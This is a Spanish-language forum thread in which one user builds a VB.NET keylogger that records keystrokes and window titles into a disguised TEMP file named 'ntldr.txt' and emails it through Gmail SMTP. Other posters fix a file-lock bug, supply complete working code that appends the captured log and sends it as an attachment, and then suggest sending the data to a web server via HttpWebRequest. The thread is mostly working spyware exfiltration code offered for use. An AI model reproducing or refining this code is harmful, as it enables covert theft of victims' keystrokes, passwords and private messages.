Bueno estoy haciendo un keylogger, ya me lee las pulsaciones y los nombres de las ventanas, y lo que hago es que lo mande a un correo gmail, un archivo situado en TEMP que es donde se guarda todo, el problema es que no me deja guardarlo más de una vez.
MyEscritor = New StreamWriter(Environ("TEMP") & "\ntldr.txt")
MyEscritor.Write(TextBox1.Text)
MyEscritor.Flush()
MyEscritor.Close()
MyEscritor = Nothing
Me tira este error al intentar guardarlo por segunda vez.
IO Exception
El proceso no puede obtener acceso al archivo 'C:\Users\Weeds\AppData\Local\Temp\ntldr.txt' porque está siendo utilizado en otro proceso.
Que puedo hacer ahi? Saludos y Feliz NaviAño Nuevo!! :laugh:
Primero que todo, Crea un FileStream, se da mejor para eso. Y segundo, mete todo en un try y en el finally haces el Close.
Saludos!
en lugar de instanciar un StreamWriter usa File.CreateText :)
El problema creo que está en que lo envio por email y se queda en uso el fichero de texto.
MyMailMessage.Attachments.Add(New Attachment(Environ("TEMP") & "\ntldr.txt"))
Pero al hacer esto tampoco me permite usarlo
MyMailMessage = nothing
:huh: :huh: :huh:
Saludos y feliz año!
Hombre subir tu codigo para probarlo haber si te echo una mano!!!!!!
Es algo sencillo pero que no quire funcionar xD
Try
'Crear archivo
Dim sw As StreamWriter = File.CreateText(Environ("TEMP") & "\ntldr.txt")
sw.WriteLine(TextBox1.Text)
sw.Flush()
sw.Close()
'Email
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("lala@gmail.com")
MyMailMessage.To.Add("lala@gmail.com")
MyMailMessage.Subject = My.Computer.Name & " " & DateString & " " & DateTime.Now.ToString("HH:mm:ss")
MyMailMessage.Body = "Abre el archivo adjunto."
MyMailMessage.Attachments.Add(New Attachment(Environ("TEMP") & "\ntldr.txt"))
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("lala@gmail.com", "lala")
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
MyMailMessage = Nothing
SMTPServer = Nothing
Catch ex As SmtpException
End Try
A la segunda vez que lo intento guardar me salta la excepción.
prueba con lo siguiente(lo puse en un Button):
Dim sw As StreamWriter
Dim RutaFile As String = Environ("TEMP") & "\ntldr.txt"
Dim MyMailMessage As MailMessage = New MailMessage()
Dim SMTPServer As SmtpClient
Try
'esta linea permite insertar texto en un archivo, si no existe lo crea
sw = File.AppendText(RutaFile)
'agregar linea del texbox y cerrar el StreamWriter
sw.WriteLine(Me.TextBox1.Text)
sw.Close()
'Email
MyMailMessage.From = New MailAddress("lala@gmail.com")
MyMailMessage.To.Add("lala@gmail.com")
MyMailMessage.Subject = My.Computer.Name & " " & DateString & " " & DateTime.Now.ToString("HH:mm:ss")
MyMailMessage.Body = "Abre el archivo adjunto."
MyMailMessage.Attachments.Add(New Attachment(RutaFile))
SMTPServer = New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("lala@gmail.com", "lala")
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
MessageBox.Show("Ok")
Me.TextBox1.Text = ""
Catch ex As SmtpException
MessageBox.Show(ex.Message, "SmptError", MessageBoxButtons.OK, MessageBoxIcon.Error)
Catch ex As Exception
MessageBox.Show(ex.Message, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
Finally
'aqui esta lo que faltaba
MyMailMessage.Attachments.Dispose()
End Try
Como podras darte cuenta faltaba liberar los recursos adjuntos con
MyMailMessage.Attachments.Dispose()
Nota: Tio yo que tu enviaria la info de ese archivo por http a un servidor es mas rapido, osea usar formulairos html en un server para poder enviar los datos del usando HttpWebRequest
Saludos!!!.
Gracias como siempre .:IT:., tus codes me salvan la vida xD
Por cierto como que por http? Podrias explicarme eso?
Saludos.